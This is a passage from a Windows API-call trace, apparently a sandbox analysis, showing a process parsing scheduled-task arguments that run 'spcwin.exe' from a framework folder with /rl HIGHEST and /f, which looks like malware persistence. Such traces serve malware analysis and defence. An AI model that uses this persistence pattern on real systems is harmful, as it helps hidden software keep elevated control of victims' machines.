_ArgList=0x25f478 | out: _Buffer="|tr|") returned 4 [0130.785] lstrlenW (lpString="|run|") returned 5 [0130.785] lstrlenW (lpString="|tr|") returned 4 [0130.785] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0130.785] SetLastError (dwErrCode=0x490) [0130.785] lstrlenW (lpString="end") returned 3 [0130.785] lstrlenW (lpString="end") returned 3 [0130.785] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.785] lstrlenW (lpString="tr") returned 2 [0130.785] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.785] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|end|") returned 5 [0130.785] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tr|") returned 4 [0130.785] lstrlenW (lpString="|end|") returned 5 [0130.786] lstrlenW (lpString="|tr|") returned 4 [0130.786] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0130.786] SetLastError (dwErrCode=0x490) [0130.786] lstrlenW (lpString="showsid") returned 7 [0130.786] lstrlenW (lpString="showsid") returned 7 [0130.786] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.786] lstrlenW (lpString="tr") returned 2 [0130.786] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.786] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|showsid|") returned 9 [0130.786] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tr|") returned 4 [0130.786] lstrlenW (lpString="|showsid|") returned 9 [0130.786] lstrlenW (lpString="|tr|") returned 4 [0130.786] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0130.786] SetLastError (dwErrCode=0x490) [0130.786] SetLastError (dwErrCode=0x490) [0130.786] SetLastError (dwErrCode=0x0) [0130.786] lstrlenW (lpString="/tr") returned 3 [0130.786] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0130.786] SetLastError (dwErrCode=0x490) [0130.786] SetLastError (dwErrCode=0x0) [0130.786] lstrlenW (lpString="/tr") returned 3 [0130.786] GetProcessHeap () returned 0x440000 [0130.786] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x8) returned 0x45c370 [0130.786] GetProcessHeap () returned 0x440000 [0130.786] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd70 [0130.786] SetLastError (dwErrCode=0x0) [0130.786] SetLastError (dwErrCode=0x0) [0130.786] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.786] lstrlenW (lpString="-/") returned 2 [0130.786] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0130.787] SetLastError (dwErrCode=0x490) [0130.787] SetLastError (dwErrCode=0x490) [0130.787] SetLastError (dwErrCode=0x0) [0130.787] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.787] StrChrIW (lpStart="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'" [0130.787] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.787] GetProcessHeap () returned 0x440000 [0130.787] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45c390 [0130.787] _memicmp (_Buf1=0x45c390, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.787] GetProcessHeap () returned 0x440000 [0130.787] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45c3b0 [0130.787] GetProcessHeap () returned 0x440000 [0130.787] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45d540 [0130.787] _memicmp (_Buf1=0x45d540, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.787] GetProcessHeap () returned 0x440000 [0130.787] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xb0) returned 0x45dd10 [0130.787] SetLastError (dwErrCode=0x7a) [0130.787] SetLastError (dwErrCode=0x0) [0130.787] SetLastError (dwErrCode=0x0) [0130.787] lstrlenW (lpString="'C") returned 2 [0130.787] lstrlenW (lpString="-/") returned 2 [0130.787] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0130.787] SetLastError (dwErrCode=0x490) [0130.787] SetLastError (dwErrCode=0x490) [0130.787] SetLastError (dwErrCode=0x0) [0130.787] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.787] GetProcessHeap () returned 0x440000 [0130.787] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xae) returned 0x45ddd0 [0130.788] GetProcessHeap () returned 0x440000 [0130.788] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cda0 [0130.788] SetLastError (dwErrCode=0x0) [0130.788] SetLastError (dwErrCode=0x0) [0130.788] lstrlenW (lpString="/rl") returned 3 [0130.788] lstrlenW (lpString="-/") returned 2 [0130.788] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.788] lstrlenW (lpString="?") returned 1 [0130.788] lstrlenW (lpString="?") returned 1 [0130.788] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.788] lstrlenW (lpString="rl") returned 2 [0130.788] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.788] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|?|") returned 3 [0130.788] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|rl|") returned 4 [0130.788] lstrlenW (lpString="|?|") returned 3 [0130.788] lstrlenW (lpString="|rl|") returned 4 [0130.788] SetLastError (dwErrCode=0x490) [0130.788] lstrlenW (lpString="create") returned 6 [0130.788] lstrlenW (lpString="create") returned 6 [0130.788] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.788] lstrlenW (lpString="rl") returned 2 [0130.788] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.788] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|create|") returned 8 [0130.788] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|rl|") returned 4 [0130.788] lstrlenW (lpString="|create|") returned 8 [0130.788] lstrlenW (lpString="|rl|") returned 4 [0130.788] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0130.788] SetLastError (dwErrCode=0x490) [0130.789] lstrlenW (lpString="delete") returned 6 [0130.789] lstrlenW (lpString="delete") returned 6 [0130.789] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.789] lstrlenW (lpString="rl") returned 2 [0130.789] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.789] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|delete|") returned 8 [0130.789] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|rl|") returned 4 [0130.789] lstrlenW (lpString="|delete|") returned 8 [0130.789] lstrlenW (lpString="|rl|") returned 4 [0130.789] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0130.789] SetLastError (dwErrCode=0x490) [0130.789] lstrlenW (lpString="query") returned 5 [0130.789] lstrlenW (lpString="query") returned 5 [0130.789] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.789] lstrlenW (lpString="rl") returned 2 [0130.789] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.789] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|query|") returned 7 [0130.789] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|rl|") returned 4 [0130.789] lstrlenW (lpString="|query|") returned 7 [0130.789] lstrlenW (lpString="|rl|") returned 4 [0130.789] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0130.789] SetLastError (dwErrCode=0x490) [0130.789] lstrlenW (lpString="change") returned 6 [0130.789] lstrlenW (lpString="change") returned 6 [0130.789] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.789] lstrlenW (lpString="rl") returned 2 [0130.789] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.790] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|change|") returned 8 [0130.790] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|rl|") returned 4 [0130.790] lstrlenW (lpString="|change|") returned 8 [0130.790] lstrlenW (lpString="|rl|") returned 4 [0130.790] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0130.790] SetLastError (dwErrCode=0x490) [0130.790] lstrlenW (lpString="run") returned 3 [0130.790] lstrlenW (lpString="run") returned 3 [0130.790] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.790] lstrlenW (lpString="rl") returned 2 [0130.790] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.790] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|run|") returned 5 [0130.790] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|rl|") returned 4 [0130.790] lstrlenW (lpString="|run|") returned 5 [0130.790] lstrlenW (lpString="|rl|") returned 4 [0130.790] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0130.790] SetLastError (dwErrCode=0x490) [0130.790] lstrlenW (lpString="end") returned 3 [0130.790] lstrlenW (lpString="end") returned 3 [0130.790] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.790] lstrlenW (lpString="rl") returned 2 [0130.790] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.790] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|end|") returned 5 [0130.790] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|rl|") returned 4 [0130.790] lstrlenW (lpString="|end|") returned 5 [0130.790] lstrlenW (lpString="|rl|") returned 4 [0130.790] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0130.791] SetLastError (dwErrCode=0x490) [0130.791] lstrlenW (lpString="showsid") returned 7 [0130.791] lstrlenW (lpString="showsid") returned 7 [0130.791] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.791] lstrlenW (lpString="rl") returned 2 [0130.791] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.791] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|showsid|") returned 9 [0130.791] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|rl|") returned 4 [0130.791] lstrlenW (lpString="|showsid|") returned 9 [0130.791] lstrlenW (lpString="|rl|") returned 4 [0130.791] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0130.791] SetLastError (dwErrCode=0x490) [0130.791] SetLastError (dwErrCode=0x490) [0130.791] SetLastError (dwErrCode=0x0) [0130.791] lstrlenW (lpString="/rl") returned 3 [0130.791] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0130.791] SetLastError (dwErrCode=0x490) [0130.791] SetLastError (dwErrCode=0x0) [0130.791] lstrlenW (lpString="/rl") returned 3 [0130.791] GetProcessHeap () returned 0x440000 [0130.791] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x8) returned 0x45de90 [0130.791] GetProcessHeap () returned 0x440000 [0130.791] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cdd0 [0130.791] SetLastError (dwErrCode=0x0) [0130.791] SetLastError (dwErrCode=0x0) [0130.791] lstrlenW (lpString="HIGHEST") returned 7 [0130.791] lstrlenW (lpString="-/") returned 2 [0130.791] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0130.791] SetLastError (dwErrCode=0x490) [0130.791] SetLastError (dwErrCode=0x490) [0130.792] SetLastError (dwErrCode=0x0) [0130.792] lstrlenW (lpString="HIGHEST") returned 7 [0130.792] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0130.792] SetLastError (dwErrCode=0x490) [0130.792] SetLastError (dwErrCode=0x0) [0130.792] lstrlenW (lpString="HIGHEST") returned 7 [0130.792] GetProcessHeap () returned 0x440000 [0130.792] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x10) returned 0x45d560 [0130.792] GetProcessHeap () returned 0x440000 [0130.792] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45ce00 [0130.792] SetLastError (dwErrCode=0x0) [0130.792] SetLastError (dwErrCode=0x0) [0130.792] lstrlenW (lpString="/f") returned 2 [0130.792] lstrlenW (lpString="-/") returned 2 [0130.792] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.792] lstrlenW (lpString="?") returned 1 [0130.792] lstrlenW (lpString="?") returned 1 [0130.792] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.792] lstrlenW (lpString="f") returned 1 [0130.792] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.792] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|?|") returned 3 [0130.792] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|f|") returned 3 [0130.792] lstrlenW (lpString="|?|") returned 3 [0130.792] lstrlenW (lpString="|f|") returned 3 [0130.792] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0130.792] SetLastError (dwErrCode=0x490) [0130.792] lstrlenW (lpString="create") returned 6 [0130.792] lstrlenW (lpString="create") returned 6 [0130.793] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.793] lstrlenW (lpString="f") returned 1 [0130.793] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.793] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|create|") returned 8 [0130.793] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|f|") returned 3 [0130.793] lstrlenW (lpString="|create|") returned 8 [0130.793] lstrlenW (lpString="|f|") returned 3 [0130.793] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0130.793] SetLastError (dwErrCode=0x490) [0130.793] lstrlenW (lpString="delete") returned 6 [0130.793] lstrlenW (lpString="delete") returned 6 [0130.793] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.793] lstrlenW (lpString="f") returned 1 [0130.793] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.793] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|delete|") returned 8 [0130.793] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|f|") returned 3 [0130.793] lstrlenW (lpString="|delete|") returned 8 [0130.793] lstrlenW (lpString="|f|") returned 3 [0130.793] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0130.793] SetLastError (dwErrCode=0x490) [0130.793] lstrlenW (lpString="query") returned 5 [0130.793] lstrlenW (lpString="query") returned 5 [0130.793] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.793] lstrlenW (lpString="f") returned 1 [0130.793] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.793] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|query|") returned 7 [0130.794] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|f|") returned 3 [0130.794] lstrlenW (lpString="|query|") returned 7 [0130.794] lstrlenW (lpString="|f|") returned 3 [0130.794] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0130.794] SetLastError (dwErrCode=0x490) [0130.794] lstrlenW (lpString="change") returned 6 [0130.794] lstrlenW (lpString="change") returned 6 [0130.794] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.794] lstrlenW (lpString="f") returned 1 [0130.794] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.794] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|change|") returned 8 [0130.794] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|f|") returned 3 [0130.794] lstrlenW (lpString="|change|") returned 8 [0130.794] lstrlenW (lpString="|f|") returned 3 [0130.794] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0130.794] SetLastError (dwErrCode=0x490) [0130.794] lstrlenW (lpString="run") returned 3 [0130.794] lstrlenW (lpString="run") returned 3 [0130.794] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.794] lstrlenW (lpString="f") returned 1 [0130.794] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.794] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|run|") returned 5 [0130.794] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|f|") returned 3 [0130.794] lstrlenW (lpString="|run|") returned 5 [0130.794] lstrlenW (lpString="|f|") returned 3 [0130.795] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0130.795] SetLastError (dwErrCode=0x490) [0130.795] lstrlenW (lpString="end") returned 3 [0130.795] lstrlenW (lpString="end") returned 3 [0130.795] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.795] lstrlenW (lpString="f") returned 1 [0130.795] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.795] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|end|") returned 5 [0130.795] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|f|") returned 3 [0130.795] lstrlenW (lpString="|end|") returned 5 [0130.795] lstrlenW (lpString="|f|") returned 3 [0130.795] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0130.795] SetLastError (dwErrCode=0x490) [0130.795] lstrlenW (lpString="showsid") returned 7 [0130.795] lstrlenW (lpString="showsid") returned 7 [0130.795] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.795] lstrlenW (lpString="f") returned 1 [0130.795] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.795] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|showsid|") returned 9 [0130.795] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|f|") returned 3 [0130.795] lstrlenW (lpString="|showsid|") returned 9 [0130.795] lstrlenW (lpString="|f|") returned 3 [0130.795] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0130.795] SetLastError (dwErrCode=0x490) [0130.795] SetLastError (dwErrCode=0x490) [0130.795] SetLastError (dwErrCode=0x0) [0130.796] lstrlenW (lpString="/f") returned 2 [0130.796] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0130.796] SetLastError (dwErrCode=0x490) [0130.796] SetLastError (dwErrCode=0x0) [0130.796] lstrlenW (lpString="/f") returned 2 [0130.796] GetProcessHeap () returned 0x440000 [0130.796] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x6) returned 0x45deb0 [0130.796] GetProcessHeap () returned 0x440000 [0130.796] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45ce30 [0130.796] SetLastError (dwErrCode=0x0) [0130.796] GetProcessHeap () returned 0x440000 [0130.796] GetProcessHeap () returned 0x440000 [0130.796] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c240) returned 1 [0130.796] GetProcessHeap () returned 0x440000 [0130.796] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c240) returned 0x8 [0130.796] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c240 | out: hHeap=0x440000) returned 1 [0130.796] GetProcessHeap () returned 0x440000 [0130.796] GetProcessHeap () returned 0x440000 [0130.796] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc50) returned 1 [0130.796] GetProcessHeap () returned 0x440000 [0130.796] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cc50) returned 0x20 [0130.797] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc50 | out: hHeap=0x440000) returned 1 [0130.797] GetProcessHeap () returned 0x440000 [0130.797] GetProcessHeap () returned 0x440000 [0130.797] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c2d0) returned 1 [0130.797] GetProcessHeap () returned 0x440000 [0130.797] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c2d0) returned 0x10 [0130.797] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c2d0 | out: hHeap=0x440000) returned 1 [0130.797] GetProcessHeap () returned 0x440000 [0130.797] GetProcessHeap () returned 0x440000 [0130.797] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc80) returned 1 [0130.797] GetProcessHeap () returned 0x440000 [0130.797] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cc80) returned 0x20 [0130.798] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc80 | out: hHeap=0x440000) returned 1 [0130.798] GetProcessHeap () returned 0x440000 [0130.798] GetProcessHeap () returned 0x440000 [0130.798] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c2f0) returned 1 [0130.798] GetProcessHeap () returned 0x440000 [0130.798] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c2f0) returned 0x8 [0130.798] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c2f0 | out: hHeap=0x440000) returned 1 [0130.798] GetProcessHeap () returned 0x440000 [0130.798] GetProcessHeap () returned 0x440000 [0130.798] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccb0) returned 1 [0130.798] GetProcessHeap () returned 0x440000 [0130.798] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ccb0) returned 0x20 [0130.798] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccb0 | out: hHeap=0x440000) returned 1 [0130.798] GetProcessHeap () returned 0x440000 [0130.799] GetProcessHeap () returned 0x440000 [0130.799] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c310) returned 1 [0130.799] GetProcessHeap () returned 0x440000 [0130.799] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c310) returned 0xe [0130.799] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c310 | out: hHeap=0x440000) returned 1 [0130.799] GetProcessHeap () returned 0x440000 [0130.799] GetProcessHeap () returned 0x440000 [0130.799] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cce0) returned 1 [0130.799] GetProcessHeap () returned 0x440000 [0130.799] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cce0) returned 0x20 [0130.799] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cce0 | out: hHeap=0x440000) returned 1 [0130.799] GetProcessHeap () returned 0x440000 [0130.799] GetProcessHeap () returned 0x440000 [0130.799] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c330) returned 1 [0130.799] GetProcessHeap () returned 0x440000 [0130.799] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c330) returned 0x8 [0130.799] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c330 | out: hHeap=0x440000) returned 1 [0130.799] GetProcessHeap () returned 0x440000 [0130.800] GetProcessHeap () returned 0x440000 [0130.800] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd10) returned 1 [0130.800] GetProcessHeap () returned 0x440000 [0130.800] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd10) returned 0x20 [0130.800] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd10 | out: hHeap=0x440000) returned 1 [0130.800] GetProcessHeap () returned 0x440000 [0130.800] GetProcessHeap () returned 0x440000 [0130.800] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c350) returned 1 [0130.800] GetProcessHeap () returned 0x440000 [0130.800] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c350) returned 0x4 [0130.800] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c350 | out: hHeap=0x440000) returned 1 [0130.800] GetProcessHeap () returned 0x440000 [0130.800] GetProcessHeap () returned 0x440000 [0130.800] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd40) returned 1 [0130.800] GetProcessHeap () returned 0x440000 [0130.800] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd40) returned 0x20 [0130.801] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd40 | out: hHeap=0x440000) returned 1 [0130.801] GetProcessHeap () returned 0x440000 [0130.801] GetProcessHeap () returned 0x440000 [0130.801] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c370) returned 1 [0130.801] GetProcessHeap () returned 0x440000 [0130.801] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c370) returned 0x8 [0130.801] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c370 | out: hHeap=0x440000) returned 1 [0130.801] GetProcessHeap () returned 0x440000 [0130.801] GetProcessHeap () returned 0x440000 [0130.801] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd70) returned 1 [0130.801] GetProcessHeap () returned 0x440000 [0130.801] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd70) returned 0x20 [0130.802] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd70 | out: hHeap=0x440000) returned 1 [0130.802] GetProcessHeap () returned 0x440000 [0130.802] GetProcessHeap () returned 0x440000 [0130.802] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ddd0) returned 1 [0130.802] GetProcessHeap () returned 0x440000 [0130.802] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ddd0) returned 0xae [0130.802] HeapFree (in: 